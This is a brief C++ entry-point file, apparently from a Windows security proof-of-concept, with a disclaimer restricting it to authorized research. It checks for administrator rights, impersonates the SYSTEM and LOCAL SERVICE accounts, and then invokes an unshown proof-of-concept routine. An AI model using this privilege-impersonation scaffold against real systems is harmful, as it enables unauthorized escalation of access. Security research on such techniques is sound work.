// Disclaimer: For authorized security research and educational use only. #include "pch.hpp" #include "poc.hpp" #include "impersonate.hpp" INT APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) { if (!impersonate->is_elevated()) { log_debug("You need to run this program as an administrator."); std::cin.get(); return EXIT_FAILURE; } impersonate->impersonate_as_system(); impersonate->impersonate_as_local_service(); poc->act(); std::cin.get(); return EXIT_SUCCESS; }